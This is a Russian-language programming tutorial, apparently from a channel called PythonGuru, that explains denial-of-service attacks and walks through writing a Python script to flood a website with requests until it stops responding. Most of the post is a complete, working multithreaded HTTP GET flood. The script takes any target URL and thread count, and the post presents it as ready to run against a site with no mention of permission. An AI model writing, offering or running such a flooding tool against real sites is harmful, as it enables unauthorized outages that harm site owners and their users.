DoS атака на сайт с помощью Python
PythonGuru
Привет, любитель Python!
В этой статье мы напишем скрипт для отсылки большого количества пакетов на удаленную машину с целью довести её до отказа.
Чем отличается DoS от DDoS
DoS (аббр. англ. Denial of Service «отказ в обслуживании») — хакерская атака на вычислительную систему с целью довести её до отказа
Если атака выполняется одновременно с большого числа компьютеров, говорят о DDoS-атаке (от англ. Distributed Denial of Service, распределённая атака типа «отказ в обслуживании»). Такая атака проводится в том случае, если требуется вызвать отказ в обслуживании хорошо защищённой крупной компании или правительственной организации.
Если проще объяснить различие, то получится так: DDoS - много атакующих. dos - один атакующий.
Отказ произойдет на том моменте, когда пакетов будет слишком много и компьютер не будет успевать обрабатывать их и отсылать ответ.
Подготовка к написанию скрипта
Давайте сначала установим библиотеки для нашего Python. Их всего 3: colorama, requests, threading.
Linux:
sudo apt update && sudo apt install python3-pip && pip3 install colorama && pip3 install threading && pip3 install requests
Windows:
pip install colorama pip install threaded pip install requests
Объясню для чего нужна каждая библиотека.
colorama - библиотека, которая упростит работу с цветами в консоли. Можете обойтись без неё, мы используем спец. символы консоли, как в .sh скриптах, либо всё сделать одного цвета.
requests - библиотека, которая позволит отправлять post/get запросы на удаленный сервер.
threading - библиотека, которая обеспечит многопоточность программы. Многопоточность увеличивает скорость.
Приступим к написанию
Сначала импортируем наши библиотеки, которые мы установили несколько минут назад.
import colorama import threading import requests
Дальше напишем функцию, которая будет отправлять запросы и контролировать состояние цели:
def dos(target):
while True:
try:
res = requests.get(target)
print(colorama.Fore.YELLOW + "Request sent!" + colorama.Fore.WHITE)
except requests.exceptions.ConnectionError:
print(colorama.Fore.RED + "[+] " + colorama.Fore.LIGHTGREEN_EX + "Connection error!")
В этой функции мы входим в бесконечный цикл (кстати он нам не страшен, так как у нас много потоков и это всё работает постоянно.), так как завершать работу программы
мы будем сочетанием клавиш Ctrl+C. Так же вы можете модифицировать функцию, например как только сервер начал не отвечать прекратить работу. Ну это дело вкуса. Всё в ваших руках.
Дальше приступим к главному коду.
threads = 20
url = input("URL: ")
try:
threads = int(input("Threads: "))
except ValueError:
exit("Threads count is incorrect!")
if threads == 0:
exit("Threads count is incorrect!")
if not url.__contains__("http"):
exit("URL doesnt contains http or https!")
if not url.__contains__("."):
exit("Invalid domain")
for i in range(0, threads):
thr = threading.Thread(target=dos, args=(url,))
thr.start()
print(str(i + 1) + " thread started!")
Теперь объясняем. Создаем переменную threads, в которой мы будем хранить количество потоков. Мы по умолчанию на 20 поставили. (Это не очень много, чисто поставили для примера). Дальше объявили переменную url, в которую мы запишем домен цели.
Далее мы запрашиваем у пользователя количество потоков, которое он хотел бы использовать. Заметьте мы это делаем в блоке try, если это делать без него, то может выдать исключение, если при преобразовании строки в int попадётся текст.
Дальше мы так же проверяем количество потоков, если их 0, то программа не будет работать. (Ни один поток не запущен - не работает)
Мы проверяем точно ли это ссылка при помощи двух проверок:
- Проверка на содержание http/https
- Проверка на содержание точки. Если есть точка, то скорее всего после точки идет что-то еще. (Пример: "https://google.com")
Дальше мы создаем в цикле потоки и запускаем их. Ну и так же информируем пользователя о запуске потока под номером i.
Процесс работы:
После того, как мы скопировали весь код, запускаем скрипт
Вводим URL и кол-во потоков:

Совершенствуй знания по Python каждый день у нас на канале, PythonGuru.
Вопросы, реклама - @pythonguru_admin